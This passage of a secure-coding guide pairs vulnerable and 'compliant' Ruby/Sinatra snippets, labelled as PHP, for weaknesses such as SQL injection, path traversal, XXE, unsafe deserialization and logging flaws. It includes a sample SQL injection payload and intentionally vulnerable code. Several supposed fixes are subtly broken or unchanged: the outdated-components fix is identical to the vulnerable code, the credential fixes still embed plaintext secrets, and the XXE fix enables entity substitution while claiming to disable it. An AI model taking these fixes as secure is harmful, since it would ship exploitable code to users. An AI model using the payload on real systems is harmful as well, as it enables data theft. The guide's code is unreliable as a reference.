interpolated into the SQL query string. This can lead to SQL Injection vulnerabilities if an attacker manipulates the query parameter to execute malicious SQL statements. For example, an attacker could input ' OR '1'='1' -- as the query value, causing the query to become SELECT * FROM products WHERE name = '' OR '1'='1' --', bypassing any intended query logic and potentially exposing sensitive data.\n\nTo mitigate SQL Injection vulnerabilities, it's important to use parameterized queries or prepared statements. Here's an example of compliant code that protects against SQL Injection:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nget '/search' do\n  query = params[:query]\n  result = DB.execute(\"SELECT * FROM products WHERE name = ?\", query)\n  # Process and return search results\nend\n```\n\nIn the compliant code, a parameterized query is used instead of directly interpolating the user input into the SQL query string. The ? placeholder is used to represent the query parameter. The actual value of query is passed separately to the database query function, ensuring that it is treated as a parameter and not as executable SQL code.\n\nBy using parameterized queries or prepared statements, you separate the SQL logic from the user-supplied input, effectively preventing SQL Injection attacks. The database engine handles the proper escaping and quoting of the parameter values, eliminating the risk of SQL Injection vulnerabilities.\n\nIt's crucial to adopt this approach whenever user input is incorporated into SQL queries to ensure the security and integrity of your application's database interactions.\n\n\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nget '/download' do\n  filename = params[:filename]\n  file_path = \"/path/to/files/#{filename}\"\n  send_file(file_path, disposition: 'attachment')\nend\n```\n\n\nIn this noncompliant code, the filename parameter is directly used to construct the file path without any validation or sanitization. This can lead to security vulnerabilities, such as directory traversal attacks, where an attacker can manipulate the filename parameter to access files outside the intended directory.\n\n\nTo address this security concern, it's important to validate and sanitize the file name or path before using it. Here's an example of compliant code that mitigates the External Control of File Name or Path vulnerability:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nget '/download' do\n  filename = params[:filename]\n  sanitized_filename = File.basename(filename)\n  file_path = File.join(\"/path/to/files/\", sanitized_filename)\n\n  if File.exist?(file_path) && File.file?(file_path)\n    send_file(file_path, disposition: 'attachment')\n  else\n    halt 404, 'File not found'\n  end\nend\n```\n\nIn the compliant code, the File.basename method is used to extract the base file name from the user-supplied filename parameter. This removes any directory traversal components and prevents unauthorized file access. The File.join method is then used to construct the full file path by combining the sanitized file name with the base file path.\n\nBefore sending the file, the code checks if the file exists and is a regular file using File.exist? and File.file?. If the file is not found or is not a valid file, a 404 response is returned, preventing unauthorized file downloads.\n\nBy validating and sanitizing the file name or path before using it, you can mitigate the risk of external control over file names or paths and prevent unauthorized access to sensitive files on the server.\n\n\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nget '/user/:id' do\n  user_id = params[:id]\n  user = User.find(user_id)\n\n  if user.nil?\n    error_message = \"User with ID #{user_id} not found\"\n    raise StandardError, error_message\n  end\n\n  # Process and return user data\nend\n```\n\n\nIn this noncompliant code, when the requested user ID is not found, an error message containing the sensitive information (the user ID) is generated and raised as an exception. This can potentially expose sensitive information to attackers or unintended users, allowing them to gather information about the system or specific users.\n\nTo address this security concern, it's important to avoid exposing sensitive information in error messages. Here's an example of compliant code that avoids disclosing sensitive information:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nget '/user/:id' do\n  user_id = params[:id]\n  user = User.find(user_id)\n\n  if user.nil?\n    error_message = \"User not found\"\n    raise StandardError, error_message\n  end\n\n  # Process and return user data\nend\n```\n\nIn the compliant code, the error message is generalized to provide minimal information, avoiding any specific details that could expose sensitive information. Instead of including the user ID in the error message, a more generic message is used to indicate that the user was not found.\n\nBy avoiding the inclusion of sensitive information in error messages, you reduce the risk of inadvertent exposure of sensitive data to potential attackers or unintended users. It's important to carefully consider the information shared in error messages and ensure they do not reveal any confidential or personally identifiable information.\n\n\n\n\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nAPI_KEY = 'my_api_key'\nDB_PASSWORD = 'my_db_password'\n```\n\nIn this noncompliant code, the credentials (API key and database password) are directly hardcoded into the source code. Storing credentials in this manner poses a significant security risk because anyone with access to the source code can easily view and misuse these sensitive credentials. If the code is shared or stored in a version control system, the credentials become even more exposed.\n\nTo address this security concern, it's crucial to avoid storing credentials in unprotected and easily accessible locations. Here's an example of compliant code that improves the storage of credentials:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'dotenv'\n\nDotenv.load('.env')\n\nAPI_KEY = ENV['API_KEY']\nDB_PASSWORD = ENV['DB_PASSWORD']\n```\n\nIn the compliant code, we use the dotenv gem to load environment variables from a .env file. The .env file is not version controlled and is typically kept separate from the source code repository. The credentials are stored as environment variables within the .env file.\n\nBy loading credentials from environment variables, you can keep sensitive information separate from the source code and provide an extra layer of protection. Environment variables can be set on the deployment environment or loaded from a secure configuration file specific to the deployment environment, such as a server's environment variables or a cloud provider's secrets management service.\n\nEnsure that you follow secure practices for managing environment variables, such as restricting access to the .env file and ensuring that sensitive credentials are kept confidential and encrypted. Additionally, regularly review and rotate credentials to maintain security.\n\n\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef process_user_input(user_input)\n  if user_input.admin?\n    grant_admin_privileges()\n  end\n\n  # Process user input\nend\n```\n\nIn this noncompliant code, the process_user_input function takes user_input as a parameter and checks if the user is an admin using the admin? method. If the user is determined to be an admin, the function grants them admin privileges without any further validation or authorization checks. This violates the trust boundary by assuming that the admin? method is a secure and reliable way to determine the user's privileges.\n\nTo address this security concern, it's important to ensure proper validation and authorization of user privileges. Here's an example of compliant code that avoids trust boundary violations:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\ndef process_user_input(user_input, user_role)\n  if user_role == 'admin'\n    grant_admin_privileges()\n  end\n\n  # Process user input\nend\n```\n\n\nIn the compliant code, the process_user_input function now takes an additional parameter, user_role, which explicitly indicates the user's role or privilege level. Instead of relying solely on a method or property of the user_input object, the function now relies on the user_role parameter to determine whether the user should be granted admin privileges.\n\nBy passing the user's role or privilege level as a separate parameter, you establish a clear trust boundary and avoid making assumptions about the security or reliability of specific properties or methods. This allows for more controlled and explicit authorization checks based on trusted information.\n\nRemember to always validate and authorize user privileges on the server-side, even if similar checks are performed on the client-side. Client-side checks can be bypassed or manipulated, making server-side validation critical for maintaining secure trust boundaries and protecting sensitive functionality or data.\n\n\n\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nAPI_KEY = 'my_api_key'\nDB_PASSWORD = 'my_db_password'\n\n# Code that uses the API key and database password\n```\n\nIn this noncompliant code, the credentials (API key and database password) are directly hardcoded into the source code as plaintext. Storing credentials in this manner poses a significant security risk because anyone with access to the source code can easily view and misuse these sensitive credentials.\n\nTo address this security concern, it's crucial to protect credentials using appropriate encryption or secure storage mechanisms. Here's an example of compliant code that improves the protection of credentials:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'openssl'\nrequire 'base64'\n\ndef encrypt_credentials(plaintext)\n  cipher = OpenSSL::Cipher.new('AES-256-CBC')\n  cipher.encrypt\n  cipher.key = ENV['ENCRYPTION_KEY']\n  encrypted = cipher.update(plaintext) + cipher.final\n  Base64.encode64(encrypted)\nend\n\nAPI_KEY = encrypt_credentials('my_api_key')\nDB_PASSWORD = encrypt_credentials('my_db_password')\n\n# Code that uses the encrypted credentials\n```\n\n\nIn the compliant code, we use the OpenSSL library to encrypt the credentials using the AES-256-CBC encryption algorithm. The encryption key is loaded from an environment variable (ENV['ENCRYPTION_KEY']), which should be stored securely and not directly in the source code.\n\nBy encrypting the credentials, we add an additional layer of protection. Even if an attacker gains access to the source code, they will only see the encrypted versions of the credentials, making it much more difficult for them to misuse the sensitive information.\n\nIt's important to note that the compliant code only provides an example of how to encrypt credentials. The actual implementation may vary depending on the specific requirements and security practices of your application. Additionally, ensure that you follow secure practices for managing encryption keys, such as storing them securely and rotating them periodically.\n\nRemember to protect sensitive credentials at rest and in transit to ensure the security and integrity of your application's data and systems.\n\n\n\n\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'nokogiri'\n\nxml_data = \"<user><name>John Doe</name><credit_card>&xxe;</credit_card></user>\"\ndoc = Nokogiri::XML(xml_data)\n\n# Process XML document\n```\n\nIn this noncompliant code, an XML document containing a user's name and a credit card element (<credit_card>) is parsed using the Nokogiri library. The value of the <credit_card> element is defined as &xxe;, which is an entity reference that could potentially trigger an XXE attack if the XML parser is not properly configured.\n\nTo address this security concern, it's important to properly restrict XML external entity references. Here's an example of compliant code that mitigates the risk of XXE attacks:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'nokogiri'\n\nxml_data = \"<user><name>John Doe</name><credit_card>&amp;xxe;</credit_card></user>\"\ndoc = Nokogiri::XML(xml_data) do |config|\n  config.nonet # Disable network access\n  config.noblanks # Ignore whitespace nodes\n  config.noent # Disable entity expansion\nend\n\n# Process XML document\n```\n\n\nIn the compliant code, the XML data is modified to properly escape the & character in the entity reference as &amp;. Additionally, when parsing the XML document using Nokogiri, a block is provided to configure the parser options. The following options are set:\n\n* config.nonet disables network access, preventing the XML parser from making external network requests.\n* config.noblanks ignores whitespace nodes, reducing the risk of XXE attacks through whitespace-based exploitation techniques.\n* config.noent disables entity expansion, preventing the XML parser from resolving and expanding external entities.\n\n\nBy properly configuring the XML parser and escaping entity references, you can effectively restrict XML external entity references and mitigate the risk of XXE attacks. It's important to review and configure the parser options based on your specific requirements and to stay updated with the latest best practices for XML processing and security.\n\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'sinatra'\n\nget '/hello' do\n  \"Hello, World!\"\nend\n```\n\nIn this noncompliant code, the application uses the Sinatra framework without considering the version or potential vulnerabilities of the framework itself. This code does not account for the fact that older versions of Sinatra may contain security vulnerabilities or outdated dependencies, which can expose the application to potential attacks.\n\nTo address this security concern, it's important to regularly update and use secure components in your application. Here's an example of compliant code that addresses the use of vulnerable and outdated components:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'sinatra'\n\nget '/hello' do\n  \"Hello, World!\"\nend\n```\n\nIn the compliant code, the same Sinatra framework is used, but the focus is on ensuring that the framework and its dependencies are kept up to date. This involves regularly monitoring for security updates and applying them as soon as they become available. It's also crucial to stay informed about any vulnerabilities or security advisories related to the framework or its dependencies.\n\nBy proactively updating and managing your application's components, you reduce the risk of using outdated and vulnerable software. This helps to protect your application from known security vulnerabilities and ensures that you are leveraging the latest security patches and improvements.\n\nRemember to follow best practices for dependency management, including regularly checking for updates, utilizing vulnerability scanning tools, and maintaining an up-to-date inventory of your application's components. Additionally, subscribe to security mailing lists or notifications specific to the components you use to stay informed about any potential security issues.\n\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'net/http'\n\ndef make_secure_request(url)\n  uri = URI.parse(url)\n  http = Net::HTTP.new(uri.host, uri.port)\n  http.use_ssl = true\n  response = http.get(uri.request_uri)\n  response.body\nend\n\nurl = 'https://example.com'\nresponse = make_secure_request(url)\nputs response\n```\n\nIn this noncompliant code, a secure request is made to example.com using Net::HTTP with SSL enabled. However, the code does not perform proper validation of the server's certificate for a host mismatch. This means that the code will accept any valid certificate, even if it does not match the expected host (example.com in this case). This can potentially lead to man-in-the-middle attacks or connections to malicious servers.\n\nTo address this security concern, it's crucial to perform proper validation of the server's certificate and ensure that it matches the expected host. Here's an example of compliant code that improves the validation of the certificate:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'net/http'\nrequire 'openssl'\n\ndef make_secure_request(url)\n  uri = URI.parse(url)\n  http = Net::HTTP.new(uri.host, uri.port)\n  http.use_ssl = true\n  http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n  http.ca_file = '/path/to/certificate.crt' # Provide the path to the trusted CA certificate\n  response = http.get(uri.request_uri)\n  response.body\nend\n\nurl = 'https://example.com'\nresponse = make_secure_request(url)\nputs response\n```\n\n\nIn the compliant code, the verify_mode option is set to OpenSSL::SSL::VERIFY_PEER to enforce proper certificate validation. Additionally, the ca_file option is used to specify the path to a trusted CA certificate. This CA certificate will be used to validate the server's certificate and ensure it is issued by a trusted authority and matches the expected host.\n\n\nMake sure to provide the correct path to a trusted CA certificate that can properly validate the server's certificate. This may involve obtaining the CA certificate from a trusted source or using a certificate bundle provided by your operating system or security framework.\n\nBy performing proper validation of the server's certificate with host matching, you can ensure that secure connections are established only with trusted servers and mitigate the risk of man-in-the-middle attacks or connections to malicious hosts.\n\n\n\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef authenticate(username, password)\n  if username == 'admin' && password == 'secret'\n    puts 'Authentication successful'\n  else\n    puts 'Authentication failed'\n  end\nend\n\n# Usage\nauthenticate('admin', 'guess')  # Noncompliant authentication attempt\n```\n\nIn this noncompliant code, the authenticate function takes a username and password as arguments and performs a simple string comparison to check if the provided credentials match the hardcoded values. This approach is insecure because it does not implement proper authentication mechanisms, such as salting, hashing, or encryption of passwords, and it uses hardcoded credentials.\n\nTo address this security concern, it's important to implement proper authentication mechanisms that follow secure practices. Here's an example of compliant code that improves the authentication process:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'bcrypt'\n\ndef authenticate(username, password)\n  hashed_password = get_hashed_password(username)\n  if BCrypt::Password.new(hashed_password) == password\n    puts 'Authentication successful'\n  else\n    puts 'Authentication failed'\n  end\nend\n\ndef get_hashed_password(username)\n  # Retrieve the hashed password associated with the username from a secure storage (e.g., database)\n  # Return the hashed password\nend\n\n# Usage\nauthenticate('admin', 'guess')  # Compliant authentication attempt\n```\n\n\nIn the compliant code, the authentication process is improved by using the bcrypt gem to securely hash and verify passwords. The get_hashed_password function retrieves the hashed password associated with the provided username from a secure storage, such as a database. Then, the code uses BCrypt::Password.new to create a new BCrypt::Password object from the hashed password and compares it with the provided password using the == operator. This ensures that the password is properly hashed and securely compared.\n\n\nIt's important to note that the compliant code only provides an example of how to improve the authentication process. The actual implementation may vary depending on the specific requirements and security practices of your application. Additionally, consider implementing other security measures like account lockouts, strong password policies, and secure password reset mechanisms to further enhance the authentication process.\n\nRemember to follow industry-standard practices for secure authentication, such as using strong hashing algorithms, storing passwords securely, protecting against brute-force attacks, and staying informed about the latest security vulnerabilities and best practices.\n\n\n\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'sinatra'\n\nget '/login' do\n  session[:user_id] = params[:user_id]\n  redirect '/dashboard'\nend\n\nget '/dashboard' do\n  # Access user's data based on session[:user_id]\nend\n```\n\nIn this noncompliant code, the /login route sets the user_id parameter as the value of the session[:user_id] variable. The problem is that this code does not generate a new session identifier upon successful login. An attacker can potentially fixate the session by obtaining a valid session ID, for example, by persuading a user to click on a specially crafted link with a predetermined session ID.\n\nTo address this security concern, it's crucial to generate a new session identifier upon successful login. Here's an example of compliant code that mitigates session fixation vulnerability:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'sinatra'\nrequire 'securerandom'\n\nenable :sessions\n\nget '/login' do\n  session.clear # Clear existing session data\n  session[:user_id] = params[:user_id]\n  session[:session_id] = SecureRandom.uuid # Generate a new session identifier\n  redirect '/dashboard'\nend\n\nget '/dashboard' do\n  # Access user's data based on session[:user_id]\nend\n```\n\n\nIn the compliant code, the /login route now includes session.clear to ensure any existing session data is cleared before setting the user_id and generating a new session identifier using SecureRandom.uuid. This helps prevent session fixation by discarding any existing session state and creating a new session upon successful login.\n\nAdditionally, the enable :sessions statement is used to enable session management in Sinatra.\n\nBy generating a new session identifier upon login, you mitigate the risk of session fixation attacks. This ensures that each user is assigned a unique session identifier, preventing an attacker from fixing a specific session ID and gaining unauthorized access to a user's session.\n\nRemember to apply secure session management practices, such as using strong session identifiers, enabling secure cookies, setting appropriate session expiration times, and validating session data on subsequent requests. Regularly testing and auditing your session management implementation is also crucial to identify and address any potential vulnerabilities.\n\n\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nsource_code = params[:source_code]\neval(source_code)\n```\n\nIn this noncompliant code, the source_code parameter is obtained from an untrusted source, such as user input or an external file. The code then uses the eval function to execute the contents of source_code. This approach is highly insecure as it allows arbitrary code execution, which can lead to serious security vulnerabilities, including remote code execution, information disclosure, and unauthorized access.\n\nTo address this security concern, it's crucial to avoid directly executing untrusted code using functions like eval. Instead, consider using safer alternatives that provide controlled execution environments. Here's an example of compliant code that mitigates the inclusion of functionality from an untrusted control source:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'sandbox'\n\nsource_code = params[:source_code]\n\nsandbox = Sandbox.safe\nsandbox.eval(source_code)\n```\n\n\nIn the compliant code, the sandbox object is created using the Sandbox gem. The gem provides a controlled environment for executing untrusted code, limiting the scope of potential damage. The eval method is called on the sandbox object, which safely evaluates the source_code within the controlled environment.\n\n\nBy using a sandboxing mechanism or an isolated environment, you can restrict the execution of untrusted code and prevent it from accessing sensitive resources or introducing security vulnerabilities into your application. It's important to thoroughly review and understand the capabilities and limitations of the sandboxing solution you choose to ensure it aligns with your security requirements.\n\nRemember to exercise caution when incorporating code from untrusted sources. Validate and sanitize inputs, limit access to sensitive functionality, and adhere to the principle of least privilege. Regularly update and patch your application and its dependencies to protect against known vulnerabilities.\n\n\n\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'open-uri'\n\nfile_url = 'http://example.com/malicious_code.rb'\nfile_content = open(file_url).read\n\n# Process the downloaded file_content\n```\n\nIn this noncompliant code, the open-uri library is used to download a file from a specified URL. However, the code does not perform any integrity check on the downloaded file. This means that the file's content could be modified during transit or by a malicious actor, potentially introducing security vulnerabilities or executing unauthorized code on the system.\n\nTo address this security concern, it's crucial to perform integrity checks on downloaded files to ensure their authenticity and integrity. Here's an example of compliant code that includes an integrity check:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'open-uri'\nrequire 'digest'\n\nfile_url = 'http://example.com/malicious_code.rb'\nfile_content = open(file_url).read\n\nexpected_hash = '5f4dcc3b5aa765d61d8327deb882cf99' # Example expected MD5 hash\n\nif Digest::MD5.hexdigest(file_content) == expected_hash\n  # File integrity check passed\n  # Process the downloaded file_content\nelse\n  # File integrity check failed\n  # Handle the error or reject the downloaded file\nend\n```\n\n\nIn the compliant code, the Digest module is used to calculate the MD5 hash of the downloaded file content using Digest::MD5.hexdigest. The calculated hash is then compared to the expected hash value. If the hashes match, the integrity check is passed, and the code proceeds to process the downloaded file content. If the hashes do not match, the integrity check fails, and appropriate error handling or rejection of the downloaded file can be implemented.\n\n\nIt's important to note that MD5 is used in this example for simplicity, but stronger hash algorithms like SHA-256 or SHA-3 are recommended in practice. Additionally, consider implementing secure download mechanisms, such as using HTTPS for secure transmission, verifying the authenticity of the file source, and ensuring that the server hosting the file is trusted and secure.\n\nBy performing an integrity check on downloaded files, you can verify their authenticity and protect against unauthorized modifications or tampering. This helps ensure the code you're executing or the files you're processing are from trusted and unaltered sources, reducing the risk of security vulnerabilities or malicious code execution.\n\n\n\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndata = params[:serialized_data]\nobject = Marshal.load(data)\n\n# Process the deserialized object\n```\n\nIn this noncompliant code, the Marshal.load method is used to deserialize data obtained from the serialized_data parameter. The problem with this code is that it does not validate or sanitize the deserialized data, allowing potentially malicious or untrusted data to be executed as code. This can lead to serious security vulnerabilities, such as remote code execution or arbitrary object creation.\n\n\n\nTo address this security concern, it's crucial to implement proper validation and sanitization of deserialized data. Here's an example of compliant code that mitigates the deserialization of untrusted data:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\ndata = params[:serialized_data]\nobject = nil\n\nbegin\n  object = YAML.safe_load(data, [Symbol])\nrescue Psych::Exception => e\n  # Handle deserialization error\n  puts \"Deserialization error: #{e.message}\"\nend\n\n# Process the deserialized object if it was successfully loaded\nif object\n  # Process the deserialized object\nelse\n  # Handle the error or reject the deserialized data\nend\n```\n\n\nIn the compliant code, the YAML.safe_load method is used instead of Marshal.load to deserialize the data. The safe_load method provides a safer alternative by allowing the specification of permitted classes and symbols during deserialization. In this example, the permitted class is limited to Symbol using [Symbol] as the second argument.\n\nAdditionally, the code includes error handling to capture any deserialization errors that may occur, such as those raised by the safe_load method. This allows for proper handling of deserialization errors and prevents potential issues, such as unexpected application crashes or information disclosure.\n\nIt's important to note that the safe_load method is just one example of a safer deserialization approach using the YAML library. Depending on your specific needs and requirements, you may choose other deserialization mechanisms or libraries that offer similar safety features.\n\nBy implementing proper validation and sanitization of deserialized data, you can mitigate the risk of executing untrusted code or malicious payloads. This helps ensure that the deserialized data is safe and only contains expected and permitted objects, reducing the risk of security vulnerabilities or unauthorized actions.\n\n\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef transfer_funds(sender, recipient, amount)\n  if sender.balance >= amount\n    sender.balance -= amount\n    recipient.balance += amount\n    puts \"Funds transferred successfully.\"\n  else\n    puts \"Insufficient funds.\"\n  end\nend\n```\n\nIn this noncompliant code, the transfer_funds function performs a funds transfer operation between a sender and recipient. However, the code only logs the success or failure message to the console using puts. This approach provides insufficient logging, as it does not capture important details and events that can aid in troubleshooting, auditing, or investigating security incidents.\n\nTo address this security concern, it's crucial to implement sufficient and meaningful logging in your application. Here's an example of compliant code that improves logging:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'logger'\n\nlogger = Logger.new('application.log')\n\ndef transfer_funds(sender, recipient, amount)\n  if sender.balance >= amount\n    sender.balance -= amount\n    recipient.balance += amount\n    logger.info(\"Funds transferred: $#{amount} from #{sender.name} to #{recipient.name}\")\n  else\n    logger.warn(\"Insufficient funds for transfer: $#{amount} from #{sender.name} to #{recipient.name}\")\n  end\nend\n```\n\n\nIn the compliant code, the Logger class from the Ruby standard library is used to create a logger instance that writes log messages to a file (application.log in this example). The info method is used to log a successful funds transfer with relevant details such as the transferred amount, sender's name, and recipient's name. In case of insufficient funds, the warn method is used to log a warning message with similar details.\n\nBy using a proper logging mechanism like Logger, you can capture important events, errors, and information within your application. Logging should include relevant details such as timestamps, user or request identifiers, actions performed, input values, and outcomes. This helps in troubleshooting issues, monitoring application behavior, detecting suspicious activities, and investigating security incidents.\n\nAdditionally, ensure that logs are protected and stored securely to prevent unauthorized access or tampering. Regularly review and analyze logs to identify anomalies, potential security threats, or unusual behavior patterns.\n\nRemember to follow secure logging practices, such as avoiding the inclusion of sensitive information like passwords or personal data in logs, setting appropriate log levels, and using a log management system to centralize and analyze logs effectively.\n\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nlogger = Logger.new('application.log')\n\ndef log_user_activity(user_id, activity)\n  logger.info(\"User #{user_id} performed activity: #{activity}\")\nend\n```\n\nIn this noncompliant code, the log_user_activity function logs user activity by directly interpolating the user_id and activity parameters into the log message. This approach can introduce log injection vulnerabilities when the parameters contain special characters or malicious input. An attacker could potentially exploit this vulnerability to modify log entries or inject malicious content into the log file.\n\nTo address this security concern, it's crucial to properly neutralize output when incorporating user-provided data into log messages. Here's an example of compliant code that applies output neutralization:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nlogger = Logger.new('application.log')\n\ndef log_user_activity(user_id, activity)\n  sanitized_user_id = sanitize_output(user_id)\n  sanitized_activity = sanitize_output(activity)\n\n  logger.info(\"User #{sanitized_user_id} performed activity: #{sanitized_activity}\")\nend\n\ndef sanitize_output(input)\n  # Implement output neutralization logic here\n  # For example, remove or escape special characters that could be used for log injection\n  sanitized_input = input.gsub(/[<>]/, '')\n\n  # Return the sanitized input\n  sanitized_input\nend\n```\n\n\nIn the compliant code, the log_user_activity function applies the sanitize_output method to the user_id and activity parameters before incorporating them into the log message. The sanitize_output method implements output neutralization logic to remove or escape special characters that could be used for log injection. In this example, the gsub method is used to remove angle brackets (< and >) from the input.\n\nIt's important to implement output neutralization logic specific to your application's requirements and the potential threats you want to mitigate. Consider using secure coding practices, such as encoding or escaping special characters, validating and limiting input values, and adhering to appropriate output formats (e.g., JSON, CSV) for structured logs.\n\nBy properly neutralizing output when logging user-provided data, you can prevent log injection vulnerabilities and ensure the integrity and security of your log entries. Regularly review and analyze your log generation and handling processes to identify and address any potential vulnerabilities or misconfigurations.\n\n\n\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef login(username, password)\n  if username == 'admin' && password == 'password'\n    puts 'Login successful'\n  else\n    puts 'Login failed'\n  end\nend\n```\n\n\nIn this noncompliant code, the login function performs a basic login operation by comparing the provided username and password with hardcoded values. However, the code does not provide specific information about the cause of login failures, potentially omitting security-relevant details that could aid in identifying and addressing authentication issues or potential attacks.\n\nTo address this security concern, it's crucial to include sufficient security-relevant information when handling authentication or authorization operations. Here's an example of compliant code that includes security-relevant information:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\ndef login(username, password)\n  if username == 'admin' && password == 'password'\n    puts 'Login successful'\n  else\n    puts 'Login failed: Invalid username or password'\n  end\nend\n```\n\n\nIn the compliant code, when a login fails, the code provides a more informative message indicating the reason for the failure: \"Invalid username or password\". This additional information can help users understand why the login attempt was unsuccessful and guide them to correct their credentials.\n\n\n\nBy including security-relevant information in your error messages or response messages, you provide transparency and feedback to users, allowing them to take appropriate actions. This can help prevent potential security risks such as brute-force attacks, unauthorized access attempts, or user confusion.\n\n\nIt's important to strike a balance between providing useful information and avoiding the disclosure of sensitive details that could aid attackers. Ensure that error messages are designed to be informative without revealing excessive information that could be exploited by malicious actors. Regularly review and update your error handling and messaging to align with best practices and address emerging security threats.\n\n\n\n\n\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nlogger = Logger.new('application.log')\n\ndef log_sensitive_info(username, password)\n  logger.info(\"Login attempt - Username: #{username}, Password: #{password}\")\nend\n```\n\nIn this noncompliant code, the log_sensitive_info function logs a login attempt with the username and password directly interpolated into the log message. Storing sensitive information such as passwords in log files can introduce serious security risks. Log files may be accessible to administrators, developers, or attackers, and the presence of sensitive information can lead to unauthorized access, disclosure, or misuse.\n\nTo address this security concern, it's crucial to avoid logging sensitive information or to take measures to properly protect and secure the logged data. Here's an example of compliant code that prevents the logging of sensitive information:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nlogger = Logger.new('application.log')\n\ndef log_login_attempt(username)\n  logger.info(\"Login attempt - Username: #{username}\")\nend\n```\n\n\nIn the compliant code, the log_login_attempt function only logs the username as opposed to the sensitive password. By excluding the password from the log message, the code 